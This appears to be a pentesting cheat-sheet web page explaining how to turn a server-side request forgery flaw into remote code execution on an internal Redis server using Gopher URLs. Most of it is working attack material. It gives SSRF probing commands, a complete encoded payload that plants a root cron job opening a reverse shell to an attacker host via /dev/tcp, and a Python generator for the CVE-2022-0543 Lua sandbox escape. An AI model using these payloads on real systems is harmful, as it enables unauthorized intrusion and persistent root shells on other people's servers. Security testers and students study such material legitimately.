Skip to content
HackIndex logo

HackIndex

SSRF to Redis – Gopher Protocol Command Injection

3 min read Mar 14, 2026

When a web application has a Server-Side Request Forgery (SSRF) vulnerability and the internal network runs Redis, you can use the Gopher protocol to send raw TCP data to the Redis port. Gopher payloads carry Redis inline commands over HTTP, bypassing the Redis client protocol entirely. This is how Redis behind a firewall — only accessible from the web server — gets exploited via a public-facing SSRF.

Prerequisites Check

1 – SSRF vulnerability exists in the web application: Test basic SSRF to your attack box:

┌──(kali㉿kali)-[~]
└─$ # Start listener
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8080
 
┌──(kali㉿kali)-[~]
└─$ # Trigger SSRF to your IP in the app parameter
┌──(kali㉿kali)-[~]
└─$ curl "https://$TARGET_WEB/?url=http://$LHOST:8080"

If you receive a connection, SSRF is confirmed.

2 – Gopher is supported by the SSRF handler:

┌──(kali㉿kali)-[~]
└─$ curl "https://$TARGET_WEB/?url=gopher://127.0.0.1:6379/_PING%0d%0a"

A +PONG or any Redis response in the HTTP reply confirms Gopher is supported and Redis is reachable internally.

3 – Redis is running internally (common ports):

Probe internal ports via the SSRF to confirm Redis is there:

┌──(kali㉿kali)-[~]
└─$ curl "https://$TARGET_WEB/?url=http://127.0.0.1:6379/"
┌──(kali㉿kali)-[~]
└─$ curl "https://$TARGET_WEB/?url=dict://127.0.0.1:6379/info"

A Redis error or INFO output in the response confirms the service.

Building Gopher Payloads Manually

Redis commands in Gopher are URL-encoded with %0d%0a (CRLF) as the line terminator. The _ after gopher://host:port/ is a throwaway first byte required by the Gopher protocol.

PING test:

┌──(kali㉿kali)-[~]
└─$ gopher://127.0.0.1:6379/_PING%0d%0a

Get a key:

┌──(kali㉿kali)-[~]
└─$ gopher://127.0.0.1:6379/_GET%20mykey%0d%0a

Run INFO:

┌──(kali㉿kali)-[~]
└─$ gopher://127.0.0.1:6379/_INFO%0d%0a

Generating Payloads with Gopherus

Gopherus automates Gopher payload generation for Redis and other internal services:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/tarunkant/Gopherus
┌──(kali㉿kali)-[~]
└─$ cd Gopherus
┌──(kali㉿kali)-[~]
└─$ python2 gopherus.py --exploit redis

Select the shell type when prompted. Gopherus generates a ready-to-use Gopher URL:

┌──(kali㉿kali)-[~]
└─$ gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...

URL-encode the payload once more if your SSRF passes it as a query parameter:

┌──(kali㉿kali)-[~]
└─$ python3 -c "import urllib.parse; print(urllib.parse.quote('gopher://127.0.0.1:6379/_...'))"

Cron Job Write via SSRF

The full cron write sequence encoded as a Gopher payload. Generate with Gopherus (select ReverseShell) or build manually:

┌──(kali㉿kali)-[~]
└─$ gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0A%0A*/1 * * * * /bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%246%0D%0Abgsave%0D%0A

Replace $LHOST and $LPORT before sending.

Start your listener and submit the payload via the SSRF parameter:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl "https://$TARGET_WEB/?url=<gopher_payload>"

CVE-2022-0543 Lua RCE via SSRF

If the target is Debian/Ubuntu and Redis is version <=6.0.15, chain SSRF with the Lua sandbox escape. Build the Gopher payload:

import urllib.parse

cmd = "id"
lua = f"""eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("{cmd}", "r"); local res = f:read("*a"); f:close(); return res' 0"""

redis_cmd = f"\r\n{lua}\r\nquit\r\n"
gopher_payload = "gopher://127.0.0.1:6379/_" + urllib.parse.quote(redis_cmd)
print(gopher_payload)

Submit the output URL as the SSRF value to execute id on the server. Replace id with a reverse shell one-liner for a shell.

Double URL Encoding

Some SSRF implementations decode the URL once before forwarding. If the payload is not reaching Redis correctly, double-encode it:

┌──(kali㉿kali)-[~]
└─$ python3 -c "import urllib.parse; payload='gopher://...'; print(urllib.parse.quote(payload))"

References